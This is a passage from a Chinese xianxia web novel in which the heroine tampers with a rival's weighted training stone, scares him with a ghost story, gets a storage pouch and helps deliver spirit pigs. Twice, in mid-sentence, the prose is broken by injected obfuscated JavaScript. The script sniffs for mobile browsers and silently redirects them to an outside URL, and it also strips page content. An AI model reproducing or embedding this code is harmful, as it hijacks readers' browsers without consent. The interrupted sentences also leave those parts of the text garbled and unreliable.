暂时找不到季时雨的踪迹,沈玄宁也只能先按兵不动。好在陆远声与谢疏言素来形影不离,她拉着赵琳琅姐弟俩还有曲新梨一直厚脸皮跟着两位,一来二去,几人倒真成了常在一处的伙伴。 沈玄宁心里盘算得清楚,只要谢疏言平安无事,陆远声按原著轨迹顺利通过内门考核进入问剑峰,届时自然会与鹤穗相遇。那可是《藏心》的女主,陆远声的命定之人,家世、天赋、心性都无可挑剔的完美仙子,两人一相遇,保管是天雷勾地火,情根深种,她这任务也能算是初步落定。 至于往后,便简单多了,时不时凑到问剑峰附近,观察一下男女主甜甜的恋爱,再给他们当当嘴替杜绝任何误会的可能,让陆远声心灵圆满不要黑化就行了。 不过沈玄宁没料到,自己惦记许久的人,竟这么快就出现了。 午后外门忽然来了批生面孔,领路的管事师姐只说是新来的弟子,便引着人往西院去了。 沈玄宁听说了这事儿以后就琢磨着去打听打听这伙人的来头,想确认看看是不是这批人里有季时雨,刚走到月亮门附近,就见一行人迎面而来。 最惹眼的是站在中间的少年,一身锦袍绣着金线暗纹,走路时下巴扬得老高,眼神十分倨傲,身后还跟着两个仆从一般的弟子,周围同行的几个弟子虽不是仆从姿态,对他的态度却也是十分奉承。 这做派……沈玄宁莫名觉得这人就是季时雨,结果下一秒就有人帮她验证了。 月亮门后又转出个人,那人穿着月白长衫手里握了一把玉扇,料子虽好却不张扬,他眉眼疏朗,气质温润,偏偏又带着股说不出的贵气,看见前头那锦袍少年便扬声喊了句:“季时雨!” 季时雨!真的是他! 这种小人关系户果然不会走正常流程进来! 季时雨想不到这里竟然有人敢这样喊他全名,他猛地回头,脸上刚要发作的不耐在看清来人时瞬间垮塌,震惊之余嘴里忙不迭地要出声:“七……” “不必多礼。”那人轻轻抬手打断了他未出口的称呼,“都是同门,叫我七郎便好。” “这、这怎么行……”季时雨被他轻飘飘扫了一眼,后面的推脱话登时卡在喉咙里,他悻悻地闭了嘴,双手规规矩矩地抱拳拱了拱,“七郎。” 七什么呢? 沈玄宁思考了一阵,在心里默默把季时雨没说完的称呼补了上去。 七皇子,东方既明。 她对这位七皇子有些印象,却不深,原著里只提过他来逍遥宗修行,性子低调,从未参与过什么纷争,看来真是个安安分分修仙的皇室子弟。 算了,懒得管这七皇子。沈玄宁暗自嘀咕,既然原著里没他多少戏份,想来往后也掀不起什么波澜,眼下的重点,还是季时雨。看到季时雨活生生地出现在眼前,沈玄宁倒是松了口气。 至少目标明确了,往后盯紧些便是,总好过之前像无头苍蝇似的,整天揣着心事却毫无头绪。 当然季时雨也是有些察觉到了。 来到逍遥宗以后他总觉得背后有双眼睛,凉飕飕地盯着他,每每回头去看时,却总是什么也没看见。但那被注视的感觉挥之不去,让他莫名烦躁,偏他就没什么城府,烦躁了便摆在脸上,对身边两个以上山修炼为名实则是他仆从的两个弟子也更加颐指气使,天天就一副谁都欠了他八百两银子的嚣张模样。 沈玄宁瞧着他这副德行,心里没来由地膈应。 就算不知道他在原著里干的那些恶事,单看这副仗势欺人的做派,也实在是够让人讨厌的。主要是她真的很费解,逍遥宗外门修行本就松散得很,既没有每月排名,也没有定期测试,弟子们各修各的,偶尔交流心得,鲜少有人攀比高低。 这般平和的氛围里,谢疏言更是平日不大爱出风头,季时雨这恨得要取他性命的嫉妒心究竟是从哪儿冒出来的? 每月一次的外门修行如期而至,本月的项目瞧着比往月都要折腾人。 所有外门弟子需下山领取一块刻了聚灵阵的青石,用竹篓背着在蜿蜒的山路间往返三个来回,这些青石上的聚灵阵出自玲珑峰尹文霜之手,再由戒律峰的弟子描画到每块石头上。这聚灵阵能随着持有者的灵力修为自动调整重量,是以看着大小差不多的石头,到了不同人手里,轻重却天差地别。 沈玄宁看了一眼那些青石上的聚灵阵,尹文霜平日里没少给她开小灶,她自然是熟悉他画聚灵阵的手法,这增重聚灵阵,她闭着眼都能描出来。 要改,自然也是易如反掌。 季时雨正叉着腰指挥仆从往竹篓里面放石块,沈玄宁看着他那副颐指气使的样子,眼珠轻轻一转,心里冒出个促狭的主意。 她拍了拍手上的灰,慢悠悠地站起身,装作去另一边选石头的样子,从季时雨他们身边晃过。经过那块他的竹篓时,她藏在袖子里的手悄悄凝聚了一缕灵力,空气中仿佛有瞬间的扭曲,聚灵阵的阵法被悄然改动了几笔,原本该与季时雨修为匹配的重量,瞬间翻了三倍。 做完这一切,沈玄宁脚步没停,甚至特意绕到石堆的另一头。她随手拿起一块石头掂量着,不自觉地用了挑西瓜的经典手法,指尖敲了敲石面后露出一副这石头好像轻点的犹豫模样。 发石头的师兄抱着胳膊站在一旁,看了她半天,终于忍不住出声提醒:“师妹啊,你挑哪块石头都一样。这聚灵阵本就按各人修为调节重量,你就是把石堆翻个底朝天,该背多少还是多少,快些准备出发吧。” “哦哦,我知道了,不好意思。”她连忙应着,胡乱抱起一块青石就往竹篓里塞,“谢谢师兄,我这就走了。” 她转身时,恰好对上谢疏言的目光,他正站在自己的竹篓边刚系好绳子,抬眼时刚好撞见沈玄宁嘴角那点没藏住的狡黠笑意,当即了然地弯了弯眼。 季时雨那两个仆从倒还算利落,弯腰抄起竹篓背带,身子往下一沉便稳住了重心,青石的重量仍在,却被灵力卸去了大半,只留下一股持续的压力坠在背上。这正是此次修行的深意,借外力施压,迫使灵力在经脉中匀速流转,久而久之便能凝实根基。 看着仆从刚背起竹篓,额头就沁出层薄汗,季时雨在一旁嗤笑出声:“废物就是废物,这点重量都扛不住。” 他出身仙门世家,自幼被各种灵石丹药堆着养,如今已是炼气中期的修为,在同批外门弟子里算得上拔尖。在他看来,这次负重修行不过是小儿科,当即弯下腰,抓着背带往身上一甩。 “哎哟!” 预想中的轻松半点没有,竹篓反倒像突然坠了块千钧巨石,带着股蛮横的力道狠狠往下拽。季时雨只觉肩膀处一阵剧痛,膝盖猛地砸在石阶上,整个人不受控制地往前扑去,结结实实摔了个大的。 “少爷!!” 两个仆从见状大惊,慌忙就要冲过去扶他,可他们忘了自己背上还压着沉甸甸的竹篓,刚迈出两步,重心猛地一偏,两人一前一后摔在地上,竹篓里的青石滚出来,正好砸在季时雨脚边。 “噗——” 沈玄宁没忍住笑出了声,她赶紧抬手捂嘴然后往旁边的谢疏言身后躲。 谢疏言一脸无奈地侧目看了看她,什么也没说,只是悄然往旁边挪了半步,恰好将她挡得严严实实 “……?” 陆远声刚系好绳子背起竹篓,就见沈玄宁站在谢疏言身后,双手捂着脸,肩膀抖得像筛糠,指缝里露出的眼睛笑成了月牙,而不远处的季时雨正趴在地上骂骂咧咧,一张俊脸憋得通红。 赵琳琅见沈玄宁一直低头捂着脸,凑过去低声问:“宁宁,你怎么了?” “没事没事。”沈玄宁猛地放下手,清了清嗓子,总算把那股子笑意压了下去,只是眼角还泛着水光,她胡乱抹了把脸,拽着赵琳琅就往前走,“刚才被风迷了眼,快走快走,脚程慢点一会儿该赶不上吃饭了。” 她说着往前迈了两步,眼角余光瞥见陆远声还站在原地,背着竹篓一动不动,像是在琢磨什么,沈玄宁又噔噔噔往下跳了两级台阶,伸手就去拉他的袖子:“陆师兄,走了呀,真没时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117713|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨蹭了,今晚食堂有鸡丝汤面。” 曲新梨费力地背着竹篓,看着沈玄宁跳上跳下吐槽道:“你到底为什么这么爱吃鸡丝汤面?爱到你都感觉不到身上石头的重量了么?” 陆远声被沈玄宁拉着走,他垂眸看着被沈玄宁拽住的袖口,见她这般轻松地上下台阶目光又不由自主地落在她背上的竹篓上。 另一边季时雨在仆从的半扶半架下,总算把那千斤石重新背上了肩,可每走一步,都像有座小山压在脊梁上,灵力疯狂消耗,却怎么也填不满那重压之下的缺口,他的修为在三倍重压下溃不成军,爬了不到半程山路,双腿就抖得不行。 “什么玩意儿!小爷难道连这些乡野村夫都不如?”季时雨在半山腰扶着棵老松树喘气,他望着山下陆续往上爬的弟子,虽大多也步履沉重、脸色发白,却没一个像他这样几乎要瘫倒在地的。 心里纳闷归纳闷,季时雨脸上却还强撑着体面,用袖子胡乱擦了把汗,挺直了些背脊,好歹是仙门世家出身,总不能在这些凡间来的弟子面前露了怯,传出去岂不是要被人笑掉大牙? 季时雨正调整着姿态想再往上挪两步,身后忽然传来一阵轻快的脚步声,不疾不徐,带着股游刃有余的从容,转头一看,竟是东方既明。 对方背着竹篓,弟子服连点褶皱都没有,正施施然从他身边路过,显然已经完成了一个来回,把他远远甩在了后头。 “七郎。”季时雨强作镇定地打招呼,强作镇定地打招呼,声音却因为气虚而有些发飘。 “季兄。”东方既明停下脚步,眉梢微挑,带着些似笑非笑的审视,“你这修为再不济,也不至于如此吧?” 东方既明的视线在季时雨竹篓内的青石上稍作停留,不过片刻便收回目光,语气平淡却笃定:“你的石块上的聚灵阵有问题,重量怕是比旁人的重了几倍。” 这话出口,季时雨顿时愣住。 毕竟是七皇子,有各种灵石丹药辅助不说,自小在皇家宝库中见惯了奇珍异宝,对阵法符箓的见识本就不凡,聚灵阵这类基础阵法,他一眼便能看出端倪。 而此时,沈玄宁他们正顺着石阶往上走。赵琳琅体力本就一般,一轮还没爬完就撑不住了,在前面的平台上歇脚,赵吉利和曲新梨陪在一旁,也趁隙喘口气。 这边沈玄宁、谢疏言和陆远声三人却毫无倦意,已经轻松完成了一个来回,刚转过一道弯,就撞见了半山腰这场闹剧。 “岂有此理!”季时雨一脸被雷劈了的表情,猛地将竹篓从肩上拽下来往地上一掼,他骂得脸红脖子粗,额角的青筋突突直跳:“哪个混账画的聚灵阵!这般大意!小爷竟被块破石头折腾成这样,白白受这份罪!让我知道了一定让叔父教训他!” 说罢还不解气,忍不住抬脚踹了踹脚边的竹篓,谁知青石在篓里滚了一圈,反震得他踉跄了一下,差点又摔在地上。 东方既明淡淡地瞥了他一眼,目光里没什么情绪,却让季时雨后颈一凉,他这才察觉自己的失言,眼前这位可是金尊玉贵的七皇子,自己在他面前一口一个小爷,简直是活得不耐烦了。 “七…七郎,是我失言了,我刚刚气糊涂了……”季时雨讪讪解释。 “无妨。”东方既明抿唇一笑,听不出半分情绪,“先走了。” 东方既明自然是发现了这聚灵阵有修改过的痕迹,只是这背后是谁动的手,与他无关,他乐得在局外看戏。 他抬眼看向刚刚路过三人,擦肩而过的时候他分明就瞧见,这三人神色平常,仿佛背上那块受聚灵阵加持的青石根本不存在一般,东方既明思忖间,前面的沈玄宁像是察觉到了什么,忽然回过头来。 四目撞在一处的瞬间,东方既明微微一怔。 这小姑娘瞧着也不过十岁的模样,东方既明竟从她身上品出了几分让他心惊的气势,他不动声色地勾了勾唇角,冲她极淡地颔首示意。 沈玄宁也眨了眨眼,迅速转回了头。 谢疏言慢悠悠地走在沈玄宁旁边,踩着石阶的脚步轻缓,忽然出声道:“现在可高兴了?” 沈玄宁眼神闪烁了一下,语气茫然地装傻:“什么?” “我刚才路过时,感觉到季时雨那块青石的聚灵阵上,有一丝熟悉的灵力。”谢疏言低笑一声,“这阵是尹师兄画的,你应是再熟悉不过了,想改更是容易,不是你,还能是谁?” 一旁的陆远声闻言脚步微顿,向沈玄宁确认:“季时雨的石头,是你做的手脚?” 沈玄宁被两人一左一右堵得没了退路,索性梗着脖子反问:“咋了……?” 陆远声淡淡道:“做得好,下次叫我一起。” “阿声,别闹了。”谢疏言无奈地看了陆远声一眼后才道,“季时雨他们不熟悉你的灵力气息,而且这么淡的痕迹确实也不好发现。只是……小人总是睚眦必报,若是无事,还是少与他们纠缠。” “知道了。”沈玄宁乖乖应声,“下次不搭理他了。” 9. 吓死鬼了 因为那日谢疏言的话,沈玄宁暂时歇了继续收拾季时雨的心思,只是继续暗中观察他。 可越想,越觉得不对劲。 季时雨的日常看下来,不过就是个单纯爱仗势欺人的纨绔子弟,他如今已经十八岁,行事却还不如谢疏言这十四岁的少年稳重,虽说是讨嫌得紧,却也仅限于此。实在就是个没脑子的货色,半点看不出有胆色敢在逍遥宗内杀人。 倒是谢疏言那日轻描淡写点破她小动作时,沈玄宁心头是真的惊了一下。 聚灵阵如今他们不过学了些基础的,而她改动石头的聚灵阵时产生的灵力波动小得不能再小了,可谢疏言竟能过后准确察觉到那丝属于她的灵力痕迹,这份感知力实在惊人。 这样惊人的感知力到底是天赋异禀还是对她太熟悉的缘故呢? 不管是哪种缘由,这也算是给她打补丁了,以后再想做点这样无伤大雅的小手脚怕是要更谨慎了,总不能让季时雨真的注意到她头上来,平白惹麻烦,她还要做任务呢。 沈玄宁这边刚歇了心思,打算安安分分观察一阵子,没曾想,季时雨反倒自己送上门来了。 平日里闲得发慌时,沈玄宁总爱把现代电视剧或者小说里的故事添油加醋改编一番,凑成新段子讲给别人听,她往食堂角落的长凳上一坐,膝盖上搭块擦桌布,活脱脱一个说单口相声的。 赵琳琅是头号听众,狗血故事她最爱听,讲鬼故事的时候每次都缩在旁边怕得要死,偏又人菜瘾大一直要听。 这日沈玄宁的鬼故事刚开了个头,坐在前面的季时雨的神色似是不太对,闻言更是动作一顿。 看到他这个反应沈玄宁心里那点促狭心思顿时又压不住了,故意把声音扬高了些,语调也是抑扬顿挫:“哎呀,您说这大白日里讲鬼故事能有什么趣儿呀?” 谢疏言瞧见沈玄宁朝他一直眨巴眼,无奈一笑以后给她当了捧哏:“那什么时候讲才有趣儿啊?” “哎!您这就问到点子上了!”沈玄宁见他这般默契,顿时笑得不行,“自然得是晚上了!而且啊,还得选个好地方才行。” 这回不用谢疏言再搭腔,周围凑过来听故事的师兄弟们已经按捺不住了,追问:“什么好地方?师妹快说说!” “食堂后面那个林子正适合讲鬼故事啊。”沈玄宁往食堂后那片老树林的方向扬了扬下巴,那里的老树枝桠缠缠绕绕,夜晚起了雾就像张巨大的鬼网,“不如今晚亥时,咱们去那儿接着说?” “好啊好啊!”赵琳琅第一个拍着巴掌应和,可话音刚落,又下意识往后缩了缩,声音发虚,“可、可那里会不会真有……不干净的东西啊?” “怕什么?我们可是修仙之人!”立刻有胆大的师兄接话,拍着胸脯道,“再说这么多人在呢,而且这逍遥宗有护山大阵罩着,便是真有什么邪祟,也闯不进来!” 周围顿时七嘴八舌地应和起来,连平日有些胆小的曲新梨都动了心,小声嘀咕:“要不……还是带两张驱邪符吧?有备无患嘛。” 沈玄宁看着这热闹的架势,眼角余光悄悄瞟向不远处的季时雨,他果然还没走,肩膀绷得笔直,显然是把这些话听了个全。 “哼!”季时雨一声冷哼在热闹的氛围里格外突兀。 众人的目光齐刷刷地投向他。 季时雨起身一拂袖,满脸的不屑:“修仙之人,听什么劳什子鬼故事?不知所谓!” 沈玄宁歪了歪头,故作天真地看向他:“季师兄,你该不会是怕鬼吧?” 这话精准地戳在了季时雨的痛处,他脖子猛地一梗,声音都拔高了八度:“笑话!小爷会怕鬼?” 沈玄宁但笑不语。 这无声的了然,比任何反驳都让季时雨气闷,于是到了晚上亥时,他竟真的来了。 逍遥宗外门食堂后的林子里,十几个少男少女围坐在一起,灯笼的光在夜风中轻轻晃悠,将众人的影子拉得老长。 沈玄宁坐在最中间,神秘兮兮地压低声音,那声音裹着夜风,有种说不出的阴冷:“今日讲的,是《聊斋志异》里画皮鬼的故事。” 话音刚落,一阵风毫无征兆地卷过树梢,扫了几片树叶子下来,众人手里的灯笼突然剧烈摇晃,烛火噗噗灭了大半,只剩三两只顽强地亮着。 光线骤然暗下去,树影顿时扭曲得张牙舞爪,沈玄宁眼睛一转,真是谢了要不要这么给面子? 鬼故事刚开了个头就这么制造氛围吗? 她正准备借着这股子阴森劲儿往下讲,人群里却冒出个圆脸蛋师兄,懵懵地举了举手:“师妹,《聊斋志异》是什么呀?” 这下一打断,刚出来点吓唬季时雨的恐怖气氛都没了,沈玄宁摆了摆手道:“哎呀,《聊斋》就是民间的话本子嘛!师兄你听就行,不要打断我了。” 季时雨的嗤笑声从角落传来:“什么画皮?不过是些低阶幻术,骗骗凡人罢了。” 沈玄宁没接他的话,自顾自往下说:“太原之地有位秀才叫王生,寒窗苦读却屡试不第,某夜归家时,他见一白衣女子伏在路边啜泣,自称遭夫家虐待逃亡,王秀才见她容貌倾城,心生怜惜,便将人带回家中藏匿。” “王生贪恋其美色,将她带回家后就藏进了书房,那女子白天时闭门不出,只有王生能见她。几日后的夜里,王生偶然偷窥,那女子正对镜描眉,可铜镜里映出的,哪是什么绝色容颜?分明是——”沈玄宁话锋一转,目光扫过众人紧张的脸,“分明是个青面獠牙的恶鬼!桌上摊着一张血淋淋的人皮,那恶鬼正用笔画着五官,画完后将皮一抖披在身上,恶鬼瞬间变成了美人。” “王生登时吓得魂飞魄散,慌忙逃窜!”她突然大声道:“却不料!这一下直接惊动了那恶鬼!!!” “啊!!”一个人跟着一起尖叫出声。 季时雨猛地攥紧拳头,手背的青筋都突突跳着,他的背用力靠着老槐树,树干的粗糙硌得后背生疼,却半点没觉得踏实,反倒感觉有无数冰凉的细虫,正顺着衣领往脖子里钻。 他想开口骂一句简直是荒谬,喉咙却像被堵住,发不出半点声音。 “恶鬼夺门而出,一把抓住王生,五指直接洞穿他胸口,活生生将他的心给挖了出来……”沈玄宁快速掐诀,一道灵力悄无声息地拂过季时雨靠的老槐树上,随着她的话落下好几片树叶,全都掉在了季时雨的怀里。 季时雨本就紧张,这下子竟被吓得一激灵,他终于忍不了了一般猛地从地上弹起来。 “沈玄宁!!!” “在在在。”沈玄宁快速回应,眨了眨眼看着他,“季师兄何事呀?” “走!”季时雨看了她几秒,然后翻了个大大的白眼,哑着嗓子丢下一个字转身就走,两个仆从见状,赶紧提着灯笼小跑追上去。 “哎!季师兄!”沈玄宁在他身后喊,“故事还没讲完呢,怎么就不听啦?那恶鬼后来还……” 话没说完,季时雨的身影已经消失了,连头都没回一下,仿佛那个画皮恶鬼追的不是王生而是他一样。 “哈哈哈哈哈哈!!”沈玄宁毫不掩饰地嘲笑。 修仙文里怎么还会有人怕鬼啊!还是反派呢,就这胆子还修仙?万一以后遇到什么妖魔邪祟的到底是他先跑还是邪祟先跑啊? 曲新梨道:“我看他以后怕是不敢走这边的林子了。” “说不得一会儿回去就做噩梦了。”另外一个弟子摸着下巴,一本正经地补充。 季时雨本就招人讨厌,闻言周围的一群人也跟着哄笑起来,方才被鬼故事勾起来的阴森感顿时散了大半。 东方既明倒没跟着笑,他直直地看着沈玄宁,等众人笑声渐歇,才缓缓开口问道:“沈师妹,那后来呢?” “啊?后来啊,那我继续说……”沈玄宁想不到这七皇子还挺爱听鬼故事的,她讲完画皮以后又把《聊斋志异》里面其他的故事拼拼凑凑地说,回忆到哪里就说到哪里,她讲得兴起,手脚并用。 谢疏言就坐在沈玄宁旁边,手里把玩着一盏灯笼,烛火在他眼底投下忽明忽暗的光。 自从那天讲完鬼故事以后,季时雨见了沈玄宁就跟见了画皮恶鬼似的立刻绕道走,连个正眼都不给她,沈玄宁瞧着他这副草木皆兵的模样,只觉得莫名好笑,这么大个人了,胆量和肚量竟是一个都没有,不过倒也不去继续招惹他了。 她总觉得害了谢疏言的也许另有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117714|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其人,只是如今除了季时雨确实是没有半点头绪,只能走一步看一步了。 日子不紧不慢地过着,几个月以后倒是等来了尹文霜的好消息。 风扇问世仅半月就在凡世彻底风靡了起来,一个夏天过去玲珑峰赚得盆满钵满,到了冬天尹文霜直接把聚灵阵一改,吹出来的都是热风,再度火爆以后连带着一些在凡世描画聚灵阵的外门弟子都成了香饽饽。 尹文霜出了一趟远门,回来的时候都是冬天了,倒是没忘了给沈玄宁带礼物回来。 “小师妹,这个送你。”他从怀里掏出个藕荷色的荷包递给了沈玄宁,“要分你的钱我都给你放里面了,我还特意给你换了一部分灵石,平时修炼用着方便。” “谢谢师兄。”沈玄宁好奇地接了过来,指尖摩挲着囊面上绣着的莲花纹路,竟然能感受到里面有灵力流转,“这是什么?” “锁灵囊,也是储物袋的一种,不过这里面可以装活物。” 沈玄宁眼睛瞬间亮了:“谢谢尹师兄!” 这可真是瞌睡了送枕头来了。 从前看修仙小说时,她就总惦记着那些能把所有东西全部揣着走的储物袋,这种修仙标配的东西她知道自己以后肯定要弄一个,没想到尹文霜就给送来了。虽然这锁灵囊里面的容量远不如系统那个随身别墅,但是有了这个锁灵囊做遮掩,往后她再想从空间里往外拿东西,大可装作是从锁灵囊里取的。 她指尖微动,往锁灵囊里注入一丝灵力,感觉到里面有个约莫有个三十立方大的空间,足够用了。 “你用灵识封住这个荷包。”尹文霜提醒道,“别人就不能打开了,不然旁人拿着用灵力一探就知道你里面有什么东西了。” “我修为这么低,修为比我高的人应该随随便便都能抹掉我的灵识吧?” 尹文霜乐了:“谁这么闲来抹你这个,你藏了什么惊天大宝贝?” 沈玄宁厚着脸皮:“我是没什么好东西,但是尹师兄你会送我好东西呀!” “是是是,大师兄自然会送你好东西。”尹文霜笑着应下,默默改了个字问道,“对了阿宁,还有一年多就是内门大考了,你可想好了,到时候要去哪里?” 沈玄宁:“我这修为,还有的选?” “说起来你这修为倒是奇怪,我竟一眼看不出深浅。”尹文霜探出手,指了指桌案,示意道,“你把手腕放在桌上,我瞧瞧。” 沈玄宁依言照做,尹文霜指尖轻轻搭上她的手腕,一丝温和的灵力缓缓探入,不过片刻尹文霜的眉头就蹙了起来:“炼气初期?怎么会还是炼气初期?” “是吧。”沈玄宁也默默叹了口气。 其实她是知道的,因为她自修炼起就没有任何郝长老所说的晋级的感觉,这一年多的时间竟是毫无长进。 好吧,果然是路人甲的天赋,陆远声他都已经都快奔着炼气后期去了。 尹文霜百思不得其解:“我瞧你这灵力运转流畅,根基也稳,没道理卡在初期一动不动,你这修为就好像是刚突破那般……” 沈玄宁立刻解释:“诶!师兄这话说的,我平时可没偷懒啊!” 尹文霜:“没说你偷懒,我再试试。” 他沉吟片刻后又抬手,指尖凝起一缕浅金色的灵力点在了她的眉心,这次的探查比方才更细致些,灵力一点点探过沈玄宁的经脉,半晌后尹文霜彻底收回手,眼底的疑惑更深了:“怪了,什么问题都没有,那怎么会这修为毫无长进,这灵力都哪儿去了……” 沈玄宁心里咯噔了一下,一个荒谬却又无法忽视的念头冒了出来—— 该不会是系统那个随身空间在偷偷吸她的灵力吧? 当然这个猜测她可不敢说,只能耷拉着脑袋装作一脸沮丧的样子:“可能……可能就是我的天赋比较差吧。” “瞎说。”尹文霜当即皱眉反驳,抬手轻揉了一下她的脑袋:“没事儿,到时候就选我们玲珑峰,大师兄包你进。” 沈玄宁大惊:“还能这样走后门?” “哈哈哈哈对呀。”尹文霜看着她这副惊掉下巴的样子,心情大好,“过了灵力初测大师兄就能包你过,所以要好好修炼啊。” 10. 还不如猪 内门大考以后到底去哪个主峰确实是个大问题,尹文霜走了以后她一直在琢磨这个事儿。 沈玄宁来到这个世界已经一年多了,论心意,玲珑峰实在是最合她意的去处,而且尹文霜同她关系亲近事事照拂,炼制法宝研究机关阵法也对她胃口。 可偏偏,问题就出在玲珑峰的地理位置上。 玲珑峰实则由两座山峰构成,后面还附着一座冶剑峰,因常年需冶炼兵器所以不许闲杂人等进入,整座峰脉都离其他主峰远远的,属于九峰里面最远的一个,尤其是和问剑峰,简直是隔着大半个逍遥宗。 说到底,修仙问道不是沈玄宁的首要任务,她最重要的还得是盯着陆远声啊。若是去了玲珑峰,虽然说后期可以御剑,但是这也不能天天翻山来问剑峰啊,且不说能不能实时掌握陆远声的动向,万一他真在问剑峰出了什么岔子,她连赶过去阻拦的时间都没有。 这风险太大了,不能赌。 要说离问剑峰最近的,当属栖霞峰了,两座峰头几乎是连在一起的,真要走动起来,几乎抬脚就能到。 柳师兄同她关系也不错,去了栖霞峰,连师门任务都是每日蹲在主峰炼丹药,当个安安稳稳的奶妈,想想都觉得舒坦,反正她有作弊大法在手,就算日常咸鱼躺平,炼出的丹药也未必会比旁人差。 而且栖霞峰峰主曲无忧,那可是修真界第一美男子,脾气又好性格又有意思,天天能看到这样的赏心悦目的师尊,心情都会好上几分。 当然,最关键的还是能借着送丹药的名头,时不时往问剑峰跑一趟,既能名正言顺地探望陆远声,关心关心他的身心健康,又不会显得太过刻意。 这般盘算下来,栖霞峰简直是为她量身定做的好去处,既能安稳修行偷懒摸鱼,又能近距离盯着目标,还附赠美男子师尊一枚。 简直完美! 只是这个灵力初测到底要怎么办啊!沈玄宁忍不住想抓头发,怎么会修为一点不涨啊!! “阿宁!阿宁!” “宁宁,你发什么愣呢!” 赵琳琅和曲新梨叫了沈玄宁好几遍,见沈玄宁还在出神,两人对视一眼,索性走上前一左一右轻推了下她的胳膊。 “啊?”沈玄宁猛地回神,茫然地眨了眨眼,视线落回两人脸上,“怎么了?” 这几天她满脑子都在琢磨修为还是炼气初期的事儿。太诡异了,明明她每天修炼也没有偷懒啊,晚上睡觉都在修炼,怎么会这么久了一点修为没精进呢? 沈玄宁真的很怀疑系统那个空间在吸灵力,她敲了半天系统,结果除了一句“祝您好运”什么也没得到。主要是这事儿又没法跟旁人说,憋得她已经上课走神好几天了。 赵琳琅:“你发什么愣呢这两天老走神?” 沈玄宁:“没事。” “没事儿就行。”赵琳琅递了一件褂子给她,“那赶紧把这个穿上吧。” “这啥?”沈玄宁拎着褂子抖了抖,神游半天脑子依旧转得慢吞吞的,“要干啥去?” 曲新梨见她还是一副状况外的样子便是解释道:“去给灵猪接生呀。” “啥?”沈玄宁一惊,“给猪接生?” 九峰轮值,算算时间今日是百灵峰的课。 在最开始没上课的时候,她对百灵峰还是很向往的,毕竟原著中写的百灵峰是可驭使万灵,蛊术更是诡谲莫测。 她原还想着蛊虫灵宠这种东西在修仙文里还是很厉害的存在,结果真到了上课的时候,一天天的不是给小兔子扫窝就是给小狗子挖吃的。 今天居然要去给猪接生了!不要以为修仙门派的猪就不是猪了! 她们穿了褂子以后就直接去了养灵兽的地方,沈玄宁看到东方既明都是神色自然的模样,觉得自己可能有点大惊小怪了,这连人家堂堂皇子都没对去给猪接生有什么意见,她这个人设如果反应太大就有点不太合理了。 罢了罢了,就当是体验生活了。 毕竟又有多少人能给猪接生呢……当然这种经历别人也不一定想要就是了。 百灵峰今日来的人不少,连柏师兄还特意带了几个师弟师妹来,显然今天是个大日子。 这可不是大日子么,喂了这好久的猪猪们要下崽了。 猪窝里的母猪们排排趴在铺着软草的角落里,肚子鼓得溜圆,不时发出一声沉闷的哼唧,四肢有些不安地刨着地面,见到他们进来,只是懒懒地抬眼扫了一下随即又垂下头。 沈玄宁一眼就看到了她喂了许久的猪,因为格外圆润所以她默默取了个名字叫猪壮壮。 从前百灵峰上课都是让大家辨别灵草,挖了以后转着圈地给各种灵兽炼制吃食,今天竟是直奔主题让他们进来了。 “不必拘谨。”连柏看出了他们的局促,笑着解释道,“从前上课让你们给各种灵兽调配食物,就是为了让它们熟悉你们的灵力,灵兽生产时最是敏感,若对周遭气息陌生,极易焦躁难产,如今它们吃了不少你们调配的食物,对你们的灵力也有一定的熟悉了,就不会抗拒你们近身帮忙了。” 大家都陆续进来了,只有季时雨还站在门口龇牙咧嘴,怎么也不肯往前挪半步,最后看到东方既明都一脸淡定地走了进去他才认命,只是进来以后也站在最角落,一副被谁逼着上刑场的模样。 连师兄站在棚屋中央,正耐心给众人讲解注意事项,其实也用不着他们做什么事,只是近距离观摩然后用灵力帮这些灵兽顺顺气息而已。 沈玄宁认真听完以后走到猪壮壮旁边蹲下身,它果然没躲闪,反而往她这边挪了挪,发出低低的呼噜声,像是在撒娇,她试探着伸出手轻抚在它鼓起的肚子上,竟能从掌心感受到好几股微弱的生命气息,其中一个格外清晰。 “一,二,三,四……”沈玄宁惊喜地数完,“壮壮你怀了四个啊!” “小姑娘手挺准啊。”平时常在这里照料的张伯听到沈玄宁的话便是笑道,“我前日摸的时候还只感觉到三个,看来是最后这个小家伙藏得深。” “是吧……” 沈玄宁正想再说点什么,身后突然响起曲新梨尖锐的惊呼:“阿宁!!快跑!!” 她猛地抬头,只见斜方的木栏被撞出个大窟窿,一头不知从哪里来的灵兽挣断了锁链朝着这边狂奔,身后还跟着好几个追它的弟子,定睛一看才看清是头十分强壮的豹子,它浑身是银色的皮毛,此刻双目赤红,径直冲向了沈玄宁。 “快拦住它!”追来的弟子们嘶吼着甩出缚灵锁链,却被豹子尾巴甩出的灵气横扫在地。 它冲得又快又猛,几个来不及躲闪的外门弟子被它侧身一撞,像断线的风筝般甩了出去,疼得闷哼一声摔在地上,半天爬不起来。 千钧一发之际,沈玄宁脑子里是一片空白,身体却先一步做出了反应,只凭着本能运转灵力,抬手就往那冲到面前的灵兽头上按去,指尖金光大盛瞬间凝成一个半透明的光罩,咚地一声扣在了它头上。 几乎是同一瞬,另一道凝实的金光也落了下来,是谢疏言。 